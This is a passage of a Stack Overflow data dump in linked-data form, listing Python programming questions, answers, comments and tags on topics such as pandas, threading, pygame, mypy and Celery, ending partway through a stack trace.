type: Answer
score: 1
upvote count: 1

http://stackoverflow.com/q/49451300
has comment: http://stackoverflow.com/comment/85905095
has comment: http://stackoverflow.com/comment/85905357
tagged with: time
type: UnansweredQuestion
tagged with: multithreading
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49451629
linked to: http://stackoverflow.com/q/1557571
has body: I'm making a simple client/server program in Python 3 and in the client I would like a clock or printout of the running time. I'm trying to make it in a loop that starts at the beginning of the program, but in a thread so the rest of the code keeps going. class time_thread(): def run(self): loop = 0 while (zetime &gt; -1): print(zetime); zetime = zetime + 1; time_thread.start() zetime = 0 This is what I have so far, but it doesn't work. It says: time_thread has no attribute start() I'm new to this and haven't used threads before, so I'm not sure how to go about this. Is there a better way?
answer count: 3
score: 1
has comment: http://stackoverflow.com/comment/85905255
tagged with: python
has answer: http://stackoverflow.com/a/49451489
tagged with: loops
type: Question
upvote count: 2
has title: How to make a loop that calculates running time?
has answer: http://stackoverflow.com/a/49451490

http://stackoverflow.com/comment/86169377
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49580190
has text: @JacobIRR The file will be read by other utilities that interpret the data literally. Using single double quotes around the UPC code maintains the data consistent through to the end of operations performed on the sheet. Else, I end up with a sheet that includes useless symbols scattered throughout

http://stackoverflow.com/comment/85906918
type: QuestionComment
has text: thanks - can you provide a reference or some search terms for how to do that? I've never dealt with either of those concepts
comment on: http://stackoverflow.com/q/49451137
score: 0
type: Comment

http://stackoverflow.com/comment/86325256
score: 0
comment on: http://stackoverflow.com/q/49596373
type: QuestionComment
has text: If I understood the question correctly, how about do a diff(1) of the putbuy columns within each group, then keep all the rows where diff == 1, and do a groupby again and keep the first row of each group?
type: Comment

max-flow
tag name: max-flow
type: Tag
tags question: http://stackoverflow.com/q/49546241
tags question: http://stackoverflow.com/q/49524937

http://stackoverflow.com/comment/127239529
score: 0
type: Comment
type: QuestionComment
has text: My error is **'RelatedManager' object is not iterable**. I found the solution here https://stackoverflow.com/questions/58481893/relatedmanager-object-is-not-subscriptable
comment on: http://stackoverflow.com/q/49525761

http://stackoverflow.com/comment/86139328
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49564721
score: 0
has text: @JoshGimenes: Could you please provide us the *test command*?

google-cloud-sdk
tag name: google-cloud-sdk
type: Tag
tags question: http://stackoverflow.com/q/49469693

http://stackoverflow.com/q/49519353
has comment: http://stackoverflow.com/comment/86044211
score: 0
upvote count: 2
type: UnansweredQuestion
has title: Python variable not defined error
downvote count: 2
answer count: 1
has body: I thought it would be cool to make a text-based adventure game. I am having a problem with a naming error in this block of code: elif room1_choice1=='Search the room': print('You have chosen to search the room') print("As you walk around the room you find a chest that you couldn't see from the doorway") print('You see only two choices, to attempt to open it or to search the rest of the room') print("Type 'Attempt to open' to try to open the chest or type 'Keep searching' to continue your search") room1_chestChoice=input(':') if room1_chestChoice=='Attempt to open': print('You heave at the lid with all your strength but fail to open it.') print('It looks like it is locked and you need a key') print("Type 'Keep searching' to try and find the key") room1_chestChoice=input(':') I get an error at the if in the middle: Traceback (most recent call last): File "C:/Users/maxim/PycharmProjects/APCSP project/Prototype 1.py", line 41, in &lt;module&gt; if room1_chestChoice=='Attempt to open': NameError: name 'room1_chestChoice' is not defined Can anyone help?
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49519736
tagged with: python

jupyter
tags question: http://stackoverflow.com/q/49522762
tags question: http://stackoverflow.com/q/49543860
tags question: http://stackoverflow.com/q/49584755
type: Tag
tags question: http://stackoverflow.com/q/49456385
tags question: http://stackoverflow.com/q/49541927
tags question: http://stackoverflow.com/q/49545003
tags question: http://stackoverflow.com/q/49513255
tags question: http://stackoverflow.com/q/49470802
tags question: http://stackoverflow.com/q/49542417
tags question: http://stackoverflow.com/q/49486699
tags question: http://stackoverflow.com/q/49536913
tags question: http://stackoverflow.com/q/49500593
tags question: http://stackoverflow.com/q/49471972
tags question: http://stackoverflow.com/q/49582410
tags question: http://stackoverflow.com/q/49488497
tag name: jupyter

http://stackoverflow.com/comment/85914862
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49446668
type: Comment
has text: you could indent on 2 spaces rather than 4. not PEP8, and dense, but less hacky than subverting class structures. indents only have to be consistent within theor block scope anyway. Still, running out of indent space may be a code smell showing the desirability of refactoring long methods.

http://stackoverflow.com/comment/85921644
score: 0
has text: Just saying; you don't need a monkey-wrench to hammer a nail.
type: AnswerComment
comment on: http://stackoverflow.com/a/49459288
type: Comment

http://stackoverflow.com/q/49505410
tagged with: mongodb
answer count: 0
has comment: http://stackoverflow.com/comment/86107695
type: UnansweredQuestion
downvote count: 0
has body: I have a collection which has some existing data and there is a particular field which is causing a little problem for me. The field value is like this, "user_id" : 106962662714214320000 So, when I get the type of this field, &gt; typeof db.cbRel.findOne().user_id number Now, I am inserting data to mongo via pymongo. This user_id is a static value. It has same value for every document. But I get this error on user_id field, MongoDB can only handle up to 8-byte ints How can I insert this value in mongo via pymongo?
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86015161
has comment: http://stackoverflow.com/comment/86021836
score: 1
tagged with: pymongo
has comment: http://stackoverflow.com/comment/86047535
has title: Insert field value as "number" type
favorite count: 0
type: Question

http://stackoverflow.com/a/49533805
upvote count: 0
has comment: http://stackoverflow.com/comment/86101169
downvote count: 1
has body: There were quite a few errors. I tried to make as few changes as possible to get your code running. class calculator: def __init__(self,a,b): self.num1 = a self.num2 = b def add(self): return self.num1 + self.num2 def subtract(self): return self.num1 - self.num2 def multiply(self): return self.num1 * self.num2 def divide(self): return self.num1 / self.num2 def start(self): print("which function do you want to perform: ") print("1: Add") print("2: Subtract") print("3: Multiply") print("4: Divide") choice = int(input("Enter your choice: ")) switcher = {1: self.add(), 2: self.subtract(), 3: self.multiply(), 4: self.divide() } func = switcher.get(choice) return func a = int(input("Enter a value: ")) b = int(input("Enter another value: ")) funct = calculator(a,b) print(funct.start())
answers question: http://stackoverflow.com/q/49533109
has comment: http://stackoverflow.com/comment/86101290
type: Answer
has comment: http://stackoverflow.com/comment/86075187
score: -1

http://stackoverflow.com/q/49445122
answer count: 0
downvote count: 0
linked to: http://stackoverflow.com/q/48465648
tagged with: tensorflow
favorite count: 0
type: Question
tagged with: tensorflow-slim
type: UnansweredQuestion
tagged with: python
upvote count: 4
has title: Saving tensorflow-slim model using steps intervals instead of time interval (seconds)
score: 4
linked to: http://stackoverflow.com/q/42738297
has body: I am using object detection in tensorflow api. In my previous work I used to check the current step and save my model every n steps, something like the approach mentioned here. In this case though the authors use TensorFlow-Slim to perform the training. So, they use a tf.train.Saver which is passed to the actual function which performs the training: slim.learning.train(). While this function has some parameters regarding the interval for writing down the training model using the parameter save_interval_secs it is time dependent and not step dependent. So, since tf.train.Saver is a "passive" utility as mentioned here and just saves a model with the provided parameters, meaning is ignorant of any time or step notions, and also in object detection code the control is passed in TensorFlow-Slim, by passing the saver as a parameter, in this case how can I achieve to save my model step-ward (every n steps instead of every x seconds)? The only solution is to dig into slim code and edit it (with all risks coming from this)? Or is there another option I am not familiar with? P.S.1 I found out there is a astonishingly similar question about this option here but unfortunately it did not have any answers. So, since my problem persists I will leave this question intact to raise some interest in the issue. P.S.2 Looking into slim.learning code I found out that in train() after passing the parameters it just passes the control over to supervisor.Supervisor which refers to tf.train.Supervisor which is a bit odd since this class is considered deprecated. The use of supervisor is also mentioned in the docstrings of slim.learning.

http://stackoverflow.com/comment/85948105
score: 2
comment on: http://stackoverflow.com/q/49472650
has text: `arr[arr[i] - 1]` takes an index equal to `arr[i] - 1` into `arr`. This means that the index of the element you swap is dependent on the value of the `arr[i] - 1`th element of `arr`. You don't want this to occur - the element positions you swap is independent of the value of the element.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86140798
comment on: http://stackoverflow.com/q/49565799
type: Comment
score: 0
has text: There are two possible issues here. (1) `echo $PATH`. Does something to do with `pypy` come before something to do with `python2.7` and even `/usr/local/bin`? Then that's what you need to fix. Which is probably a matter of your shell's profile files, which you can probably get better help for on a site like SuperUser than here.
type: QuestionComment

http://stackoverflow.com/q/49500921
tagged with: python
has title: Append records to bottom of dataframe
accepted answer: http://stackoverflow.com/a/49501054
type: AnsweredQuestion
score: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/86006016
has answer: http://stackoverflow.com/a/49501054
type: Question
answer count: 1
has body: I have two dataframes like the ones sampled below. I'm trying to append the records from one of the dataframes to the bottom of the first. So the final data frame should only have two columns. Instead I seem to be appending the columns from one dataframe on to the right side of the first. Does anyone see what I'm doing wrong? Code: appendDf=df1.append(df2) df1 28343 \ 0 42267 1 157180 2 186320 https://s.m.com/is/ime/M/ts/mized/5_fpx.tif 0 https://sl.com/is/i/M/... 1 https://sl.com/is/i/M/… 2 https://sl.com/is/im/M/... df2 454 \ 0 223 1 155 2 334 https://s.m.com/is/ime/M/ts/mized/5.tif 0 https://slret.com/is/i/M/... 1 https://slfdsd.com/is/i/M/… 2 https://slfd.com/is/im/M/... appendDf.head() 28343 https://s.m.com/is/ime/M/ts/mized/5_fpx.tif 454 https://s.m.com/is/ime/M/ts/mized/5.tif

http://stackoverflow.com/a/49480433
accepted answer of: http://stackoverflow.com/q/49480281
has body: If i get your question right, this is what you want: lst = [ {'model': 're_catalogue.component', 'pk': 1, 'fields': {'name':'Solar modules', 'name_el': 'Φωτοβολταικά πλαίσια', 'name_de': 'Solarmodul'}}, {'model': 're_catalogue.component', 'pk': 2, 'fields': {'name': 'DC cables', 'name_el': 'DC καλώδια', 'name_de': 'DC-Kabel'}} ] result = dict() for i in lst: result[i['fields']['name']] = i['fields']['name_el'] print(result) # { # "Solar modules": "Φωτοβολταικά πλαίσια", # "DC cables": "DC καλώδια" # }
score: 2
answers question: http://stackoverflow.com/q/49480281
downvote count: 0
type: Answer
upvote count: 2
type: AcceptedAnswer

http://stackoverflow.com/comment/85899989
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49448815
has text: Sorry, I didn't test the code and forgot to add `self.` when accessing `items`. It should be fixed now.

http://stackoverflow.com/comment/86074209
has text: "I have read the documentation of django but according to it the way to interact with library created using django is via urls" => err, I'm afraid you didn't quite understand the doc then. Please post a link to the exact part of the doc where you found this.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49533256

http://stackoverflow.com/comment/86141281
type: QuestionComment
comment on: http://stackoverflow.com/q/49566288
type: Comment
has text: Yup! I made it uncessarily complex by taking a list of index et al. Could have added flags. But still a simple detection algorithm(same detection logic) with O(n^2) worst case will take around 2 hrs for 10,000 samples.
score: 0

http://stackoverflow.com/q/49476017
score: 0
accepted answer: http://stackoverflow.com/a/49476018
upvote count: 1
answer count: 1
downvote count: 1
has title: How to differentiate with dependent variables in sympy
favorite count: 0
type: Question
has body: from sympy import * var('x y') eqn=x**2+y print(eqn.diff(x)) Getting 2*x but required 2*x+y'
tagged with: sympy
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49476018

http://stackoverflow.com/comment/86081105
type: Comment
has text: Hi!, sorry for the delay, i've tried it with the theme 'clam', but the dotbox still happens to appear :/, check edit above to see the code that i used.
comment on: http://stackoverflow.com/a/49499494
score: 0
type: AnswerComment

fits
tags question: http://stackoverflow.com/q/49516847
type: Tag
tag name: fits

http://stackoverflow.com/q/49531420
has answer: http://stackoverflow.com/a/49531592
linked to: http://stackoverflow.com/q/11041405
tagged with: python
answer count: 6
has answer: http://stackoverflow.com/a/49531530
accepted answer: http://stackoverflow.com/a/49531530
has answer: http://stackoverflow.com/a/49531637
has comment: http://stackoverflow.com/comment/86069041
type: AnsweredQuestion
score: 0
possible better answer: http://stackoverflow.com/a/49531574
has body: I have a python dictionary object that will get value by a user. Also the user may leave it as None. I want to check if my dict has a specific key or not, I tried if key in dict but I got argument of type 'NoneType' is not iterable error when my dict is None. I need one line statement that returns False either my dict is None or my dict does not have that key. Here is my code: (form is the dictionary) if 'key' not in form: # Do somethin
has answer: http://stackoverflow.com/a/49531439
has answer: http://stackoverflow.com/a/49531574
linked to: http://stackoverflow.com/q/394809
has comment: http://stackoverflow.com/comment/86068757
has answer: http://stackoverflow.com/a/49531519
type: Question
tagged with: python-3.x
has title: Key exists in nullable dict in python3
linked to: http://stackoverflow.com/q/1323410

http://stackoverflow.com/comment/86001230
comment on: http://stackoverflow.com/q/49498466
type: QuestionComment
score: 0
has text: A comparison to True is not unpythonic if you want to assert that a value is equal to True (and not just truthy). In fact, that's exactly what comparisons are for.
type: Comment

http://stackoverflow.com/comment/85906519
has text: Technically, declaration and definition are two separate things. (C, for instance, allows a variable to be declared without being defined.) Python doesn't have declarations separate from definitions; a variable is created only and immediately when a value is assigned to a name.
type: AnswerComment
comment on: http://stackoverflow.com/a/49451918
type: Comment
score: 4

http://stackoverflow.com/comment/85954705
has text: just python interpretator
score: 0
comment on: http://stackoverflow.com/q/49476055
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49578657
answers question: http://stackoverflow.com/q/49545985
type: AcceptedAnswer
score: 2
type: Answer
has body: Not a solution, but a workaround. I believe this is a memory issue with DataFrame.to_json() -- the machine would hang attempting to transform a DataFrame of ~ 5M records x 1000 columns into a JSON file, and exit raising a general Exception. The workaround is to use DataFrame.to_dict() and then use json.dump(): import json write_file = "/path/to/output.json" holder_dictionary = predictions.to_dict(orient='records') with open(write_file, 'w') as outfile: json.dump(holder_dictionary, outfile) This works (so far) for any size DataFrame. In the meantime, I am going to file a bug/issue on the Pandas repo.
accepted answer of: http://stackoverflow.com/q/49545985
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86032792
type: QuestionComment
comment on: http://stackoverflow.com/q/49513525
has text: @Jean-FrançoisFabre: *slightly* overkill?
score: 1
type: Comment

http://stackoverflow.com/q/49455742
has comment: http://stackoverflow.com/comment/85914464
has answer: http://stackoverflow.com/a/49455904
possible better answer: http://stackoverflow.com/a/49455904
has comment: http://stackoverflow.com/comment/85914520
has comment: http://stackoverflow.com/comment/85914397
has comment: http://stackoverflow.com/comment/85914482
favorite count: 0
type: Question
tagged with: python-3.x
answer count: 2
has answer: http://stackoverflow.com/a/49456120
accepted answer: http://stackoverflow.com/a/49456120
has title: Python3 metaclass: use to validate constructor argument
has comment: http://stackoverflow.com/comment/85914434
tagged with: python
score: 2
upvote count: 2
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/100003
has comment: http://stackoverflow.com/comment/85914457
has body: I was planning to use metaclass to validate the constructor argument in Python3, but it seems __new__method has no access to the variable val, because the class A() has not been instantiated yet. Sow what's the correct way to do it? class MyMeta(type): def __new__(cls, clsname, superclasses, attributedict): print("clsname: ", clsname) print("superclasses: ", superclasses) print("attributedict: ", attributedict) return type.__new__(cls, clsname, superclasses, attributedict) class A(metaclass=MyMeta): def __init__(self, val): self.val = val A(123)
has comment: http://stackoverflow.com/comment/85914783
tagged with: metaclass
downvote count: 0

http://stackoverflow.com/q/49587850
tagged with: python
has answer: http://stackoverflow.com/a/49613306
tagged with: api
type: UnansweredQuestion
downvote count: 0
tagged with: docplex
answer count: 1
has body: from docplex.cp.model import CpoModel mdl = CpoModel() To create an integer variable between [0,10]: variable = mdl.integer_var(min=0, max=10, name="variable") How can I create a variable that only can take an integer value from a list? For example a variable that can only be 1,3,5 or 6?
has comment: http://stackoverflow.com/comment/86184010
upvote count: 1
has title: Create an integer variable that can only takes values from a list with the cplex python api
favorite count: 0
type: Question
tagged with: cplex
score: 1
tagged with: constraint-programming

http://stackoverflow.com/comment/86012377
type: QuestionComment
score: 0
has text: @abarnert In my case, they are all in ASCII.
comment on: http://stackoverflow.com/q/49502908
type: Comment

http://stackoverflow.com/q/49587177
has title: axis = 0 seems to behave different in sum() and dropna()
tagged with: dataframe
tagged with: python
has answer: http://stackoverflow.com/a/58688210
linked to: http://stackoverflow.com/q/22149584
answer count: 4
tagged with: pandas
score: 7
downvote count: 0
has answer: http://stackoverflow.com/a/49587250
has body: From reading the pandas documentation, and a good question and answer (What does axis in pandas mean?), I had expected axis=0 to always mean with respect to columns. This works for me when I work with sum(), but works the other way around when I use the dropna() call. When i Have a dataframe like this: raw_data = {'column1': [42,13, np.nan, np.nan], 'column2': [4,12, np.nan, np.nan], 'column3': [25,61, np.nan, np.nan]} Which looks like this: column1 column2 column3 0 42.0 4.0 25.0 1 13.0 12.0 61.0 2 NaN NaN NaN 3 NaN NaN NaN I can print the sums for the respective columns, with axis=0. And this: df = pd.DataFrame(raw_data ) print(df.sum(axis=0)) Gives the output: column1 55.0 column2 16.0 column3 86.0 When I try to drop values from the dataframe with axis=0, this should again be with respect to columns*. But when I do: dfclear=df.dropna(axis=0,how='all') print(dfclear) I get the output: column1 column2 column3 0 42.0 4.0 25.0 1 13.0 12.0 61.0 Where I had expected the following (which I get with axis=1): column1 column2 column3 0 42.0 4.0 25.0 1 13.0 12.0 61.0 2 NaN NaN NaN 3 NaN NaN NaN So it seems to me that axis behaves differently between sum() and dropna() Is there something I'm missing here? *https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.dropna.html
upvote count: 7
favorite count: 0
has answer: http://stackoverflow.com/a/79148165
type: Question
has comment: http://stackoverflow.com/comment/86226186
has answer: http://stackoverflow.com/a/49587246
type: UnansweredQuestion
tagged with: sum

http://stackoverflow.com/comment/86229052
has text: `from flask import Flask, render_template, request` `from wtforms import Form, StringField, validators` `from src.models.search import Search`
type: AnswerComment
comment on: http://stackoverflow.com/a/49590357
score: 0
type: Comment

http://stackoverflow.com/comment/130262326
comment on: http://stackoverflow.com/a/66832096
type: AnswerComment
score: 0
has text: Ok, so I think that you should look for other questions relating to Bezier curves, or otherwise open a new one asking for help. Your concern is not related to this answer.
type: Comment

http://stackoverflow.com/a/54941695
type: Answer
upvote count: 3
answers question: http://stackoverflow.com/q/49477107
downvote count: 0
has body: I think this one works fine data['TOTAL_VISITS'] = np.where(data['NUM_PRINTS'] == 1, 100, data['TOTAL_VISITS'])
has comment: http://stackoverflow.com/comment/103825294
score: 3

http://stackoverflow.com/comment/89869861
comment on: http://stackoverflow.com/q/49563790
type: Comment
type: QuestionComment
has text: Did you find any way to do this? I am try to do similar task..
score: 0

http://stackoverflow.com/comment/86033178
score: 1
comment on: http://stackoverflow.com/a/49496023
has text: @Datanovice, glad i could help :)
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/85933326
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49465184
has text: Do you really need a CSV? I would imagine JSON would be better if you have a nested structure. And the fact that you seem to be using `split()` instead of parsing JSON objects, can be an issue
score: 0

http://stackoverflow.com/q/49592133
score: 3
has body: I'm running this little program that loads images to the screen in fullscreen mode but once it loads the program will not exit by any key combination and I end up having to reset the computer to complete whatever else I was doing. import pygame pygame.init() WIDTH=1366; HEIGHT=768 screen = pygame.display.set_mode((WIDTH, HEIGHT), pygame.FULLSCREEN) pygame.display.set_caption('Katso') PENGUIN = pygame.image.load("assets/download.png") MICKEY = pygame.image.load("assets/mickey.jpg") ADV = pygame.image.load("assets/adv.jpg") CAT = pygame.image.load("assets/cat.jpg") FLV = pygame.image.load("assets/flavours.jpg") HALL = pygame.image.load("assets/hallway.jpg") x = 0; # x coordnate of image y = 0; # y coordinate of image screen.blit(PENGUIN,(x,y)); pygame.display.update() running = True while True: for event in pygame.event.get(): if event.type == pygame.QUIT: pygame.QUIT() if event.type == pygame.KEYDOWN and event.key == pygame.K_1: screen.blit(MICKEY,(x,y)); pygame.display.update() if event.type == pygame.KEYDOWN and event.key == pygame.K_2: screen.blit(PENGUIN,(x,y)); pygame.display.update() if event.type == pygame.KEYDOWN and event.key == pygame.K_3: screen.blit(ADV,(x,y)); pygame.display.update() if event.type == pygame.KEYDOWN and event.key == pygame.K_4: screen.blit(FLV,(x,y)); pygame.display.update() if event.type == pygame.KEYDOWN and event.key == pygame.K_5: screen.blit(CAT,(x,y)); pygame.display.update() if event.type == pygame.KEYDOWN and event.key == pygame.K_6: screen.blit(HALL,(x,y));pygame.display.update() pygame.QUIT()
accepted answer: http://stackoverflow.com/a/49595152
tagged with: python
tagged with: pygame
linked to: http://stackoverflow.com/q/21980395
type: AnsweredQuestion
has title: pygame fullscreen mode exit
answer count: 3
upvote count: 3
has answer: http://stackoverflow.com/a/49595152
downvote count: 0
has answer: http://stackoverflow.com/a/59571902
has answer: http://stackoverflow.com/a/49592189
possible better answer: http://stackoverflow.com/a/49592189
favorite count: 0
type: Question

http://stackoverflow.com/q/49590718
type: Question
has body: I am working on a Postfix Virtual Mail Server. I have directions on how to add users with MySQL. I am hoping to find a Python equivalent of what is suggested in MySQL. This is because I want users to be sending me an encrypted (hashed) password they have generated using Python. Currently to add users it suggests this: INSERT INTO 'servermail`.`virtual_users` (`id`, `domain_id`, `password` , `email`) VALUES ('1', '1', ENCRYPT('firstpassword', CONCAT('$6$', SUBSTRING(SHA(RAND()), -16))), 'email1@example.com'), ('2', '1', ENCRYPT('secondpassword', CONCAT('$6$', SUBSTRING(SHA(RAND()), -16))), 'email2@example.com'); I want a Python equivalent of the ENCRYPT function in MySQL that outputs an encrypted password. ENCRYPT('firstpassword', CONCAT('$6$', SUBSTRING(SHA(RAND()), -16))
upvote count: 0
has comment: http://stackoverflow.com/comment/86189215
has title: encrypt passwords with python in same format as postfix mysql
tagged with: python
score: -1
type: AnsweredQuestion
answer count: 2
accepted answer: http://stackoverflow.com/a/49591262
possible better answer: http://stackoverflow.com/a/55557615
has comment: http://stackoverflow.com/comment/86189712
has answer: http://stackoverflow.com/a/49591262
tagged with: mysql
tagged with: postfix-mta
has answer: http://stackoverflow.com/a/55557615
downvote count: 1
favorite count: 0

http://stackoverflow.com/comment/86099773
score: 0
comment on: http://stackoverflow.com/q/49540126
type: Comment
has text: please disregard last comment hit save by mistake.I have tried count, while true, for loop. The one that came the closest was the while true but it stops and does nothing after the first run or runs a way to infinity, it will not loop based on my count. It is something i am over look but can not see it
type: QuestionComment

http://stackoverflow.com/a/49565989
score: 2
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49563981
has comment: http://stackoverflow.com/comment/86140344
upvote count: 2
answers question: http://stackoverflow.com/q/49563981
type: Answer
has body: After defining __lt__ and __gt__ class Signal: def __init__(self, name): self.name = name def __eq__(self, other): try: return self.name == other or self.name == other.name except AttributeError as err: return False def __lt__(self, other): return self.name &lt; other.name def __gt__(self, other): return self.name &gt; other.name def __str__(self): return str(self.name) def __hash__(self): return hash(self.name) import pandas as pd import numpy as np a = Signal('name') b = Signal('name2') c = Signal('something') data = { ('A', a): np.arange(2), ('A', b): np.ones(2), ('B', c): np.zeros(2) } df = pd.DataFrame(data) print(df, df['A'], sep='\n\n') A B name name2 something 0 0 1.0 0.0 1 1 1.0 0.0 name name2 0 0 1.0 1 1 1.0

http://stackoverflow.com/q/49452454
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/85907765
tagged with: python
has title: Python ValueError: too many values to unpack with dictionary
has comment: http://stackoverflow.com/comment/85918853
has body: I am currently working on a file that needs to readout excel rows. I have made to seperate files. one where i define functions and the main script. In the functions i am trying to create a dictionary, which works, but python cant unpack it into the main file. My functions are: def ColVal( RowName , x , sheet): ColA = str( RowName ) + str( x ) ColAVal = ( sheet[ColA].value ) return ( ColA , ColAVal ) def MakeDictionary(sheet): X = {} RowName = 'A' print( sheet.max_row ) for x in range( 1 , sheet.max_row ): [ColA , ColAVal] = ColVal( RowName , x , sheet) X[ColA] = str( ColAVal ) return X sheet.max_row = 301. When i try to use the function in the main script like this: [X] = MakeDictionary2(sheet) print(X) It gives the error: ValueError: too many values to unpack (expected 1) How can i solve this? Best regard
accepted answer: http://stackoverflow.com/a/49452634
type: AnsweredQuestion
downvote count: 0
score: 1
upvote count: 1
answer count: 1
has comment: http://stackoverflow.com/comment/85907683
has comment: http://stackoverflow.com/comment/85907670
has answer: http://stackoverflow.com/a/49452634
favorite count: 0

http://stackoverflow.com/a/49522330
upvote count: 4
has body: The npy file format doesn't work that way. An npy file encodes a single array, with a header specifying shape, dtype, and other metadata. You can see the npy file format spec in the NumPy docs. Support for appending data was not a design goal of the npy format. Even if you managed to get numpy.save to append to an existing file instead of overwriting the contents, the result wouldn't be a valid npy file. Producing a valid npy file with additional data would require rewriting the header, and since this could require resizing the header, it could shift the data and require the whole file to be rewritten. NumPy comes with no tools to append data to existing npy files, beyond reading the data into memory, building a new array, and writing the new array to a file. If you want to save more data, consider writing a new file, or pick a different file format.
accepted answer of: http://stackoverflow.com/q/49522026
type: Answer
score: 4
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86050609
downvote count: 0
answers question: http://stackoverflow.com/q/49522026

http://stackoverflow.com/comment/86111266
type: Comment
type: QuestionComment
has text: yes, that does work :) Thank you! Any tips on how to find these things without making a post? And another question: I am trying to run [this sample](https://blog.mypapit.net/2009/09/pymoembed-web-browser-in-python-gtk-application.html). I have not installed `pymozembed`, but I cannot find it via `pip` neither :/ Where do I find that?
comment on: http://stackoverflow.com/q/49551662
score: 0

http://stackoverflow.com/comment/85899496
type: QuestionComment
score: 0
has text: Hm so I tried and I think I can't mark it as a duplicate (I can close or edit etc but not much else). I think a better alternative would be great, if it is not too much work for you, and I don't mind if you do it here or at the other question, as long as my question is linked/marked as a dupe correctly. I think perhaps having the better alternative here with a link to the other one might be slightly clearer, but you're the one with more stackoverflow experience - whatever you think will help people find the answer fast is good for me!
type: Comment
comment on: http://stackoverflow.com/q/49442157

http://stackoverflow.com/q/49577305
type: Question
has answer: http://stackoverflow.com/a/49578104
tagged with: discord.py
tagged with: python
tagged with: discord
has comment: http://stackoverflow.com/comment/86163460
type: AnsweredQuestion
tagged with: random
has body: What I am trying to do is when someone enters the command !random (argument) I want the bot to generate a number between 1 and what they put as the argument. But whenever I try to do this it gives me around 6 different errors that are very long and make no sense to me. My current code for this command is below. @Bot.command(pass_context=True) async def random1and10(ctx, number): arg = random.randint(1, number) if number: await Bot.say(arg) else: await Bot.say('Please select a valid number')
score: 1
answer count: 1
downvote count: 0
upvote count: 1
accepted answer: http://stackoverflow.com/a/49578104
has title: Random number generator for python based discord bot
favorite count: 0

http://stackoverflow.com/q/49533340
has comment: http://stackoverflow.com/comment/86076668
upvote count: 6
score: 6
type: AnsweredQuestion
tagged with: dictionary-comprehension
downvote count: 0
accepted answer: http://stackoverflow.com/a/49596225
has title: mypy and nested dict comprehension
answer count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49596225
tagged with: mypy
has comment: http://stackoverflow.com/comment/86076270
type: Question
has body: I'm definitely not an expert of mypy, but there's an error that I'm really not understanding. Let's say that I have this dictionary and I want to parse it and create another one through a dict comprehension. my_dict = { 'type1': { 'category1': [ 'subcategory1', 'subcategory2', ], }, 'type2': { 'category2': [ 'subcategory3', ], 'category3': [], }, } The dict comprehension: new_dict = { subcategory: { 'category': category, 'type': type, } for type, categories in my_dict.items() for category, subcategories in categories.items() for subcategory in subcategories } and the expected output: { 'subcategory1': { 'category': 'category1', 'type': 'type1' }, 'subcategory2': { 'category': 'category1', 'type': 'type1' }, 'subcategory3': { 'category': 'category2', 'type': 'type2' } } mypy in this situation complains because of the empty category3, but with an error message ('error:"object" has no attribute "items"') that refers to the previous line. Any suggestion? Thanks in advance
tagged with: python
tagged with: list-comprehension

http://stackoverflow.com/a/49595093
downvote count: 0
answers question: http://stackoverflow.com/q/49594953
has body: When you copying a list to another list using = sign, both the list refer to the same list object in the memory. So modifying one list, other automatically changes as they both refer to same object. To copy a list use slice operator or copy module. &gt;&gt;&gt;list1=[1,2,3] &gt;&gt;&gt;list2=list1[:] &gt;&gt;&gt;list2.append(4) &gt;&gt;&gt;list1 [1,2,3] &gt;&gt;&gt;list2 [1,2,3,4] &gt;&gt;&gt;import copy &gt;&gt;&gt;list3=copy.deepcopy(list1) &gt;&gt;&gt; list3.append(4) &gt;&gt;&gt;list1 [1,2,3] &gt;&gt;&gt;list3 [1,2,3,4]
has comment: http://stackoverflow.com/comment/86197513
type: Answer
has comment: http://stackoverflow.com/comment/126914520
score: 2
upvote count: 2

http://stackoverflow.com/q/49447720
has comment: http://stackoverflow.com/comment/87194239
accepted answer: http://stackoverflow.com/a/52780297
tagged with: gevent
tagged with: celery
favorite count: 0
type: Question
tagged with: python
has title: Celery Gevent Pool - ConcurrentObjectUseError
has comment: http://stackoverflow.com/comment/87866042
upvote count: 6
has answer: http://stackoverflow.com/a/52780297
has body: I have a celery worker that is using the gevent pool which does HTTP requests and adds another celery task with page source. I'm using Django, RabbitMQ as a broker, Redis as a celery result backend, Celery 4.1.0. The task has ignore_result=True but I'm getting this error pretty often ConcurrentObjectUseError: This socket is already used by another greenlet: &lt;bound method Waiter.switch of &lt;gevent.hub.Waiter...&gt; I see it is related to the Redis connection. I can't figure out how to solve this. This is more or less the logic of the task. I also tried using a semaphore when calling process_task.apply_async but it didn't work. from gevent.lock import BoundedSemaphore sem = BoundedSemaphore(1) @app.task(ignore_result=True, queue='request_queue') def request_task(url, *args, **kwargs): # make the request req = requests.get(url) request = { 'status_code': req.status_code, 'content': req.text, 'headers': dict(req.headers), 'encoding': req.encoding } with sem: process_task.apply_async(kwargs={'url': url, 'request': request}) print(f'Done - {url}') This is the stack trace: cancel_wait_ex: [Errno 9] File descriptor was closed in another greenlet File "redis/connection.py", line 543, in send_packed_command self._sock.sendall(item) File "gevent/_socket3.py", line 424, in sendall data_sent += self.send(data_memory[data_sent:], flags, timeout=timeleft) File "gevent/_socket3.py", line 394, in send self._wait(self._write_event) File "gevent/_socket3.py", line 156, in _wait self.hub.wait(watcher) File "gevent/hub.py", line 651, in wait result = waiter.get() File "gevent/hub.py", line 898, in get return self.hub.switch() File "gevent/hub.py", line 630, in switch return 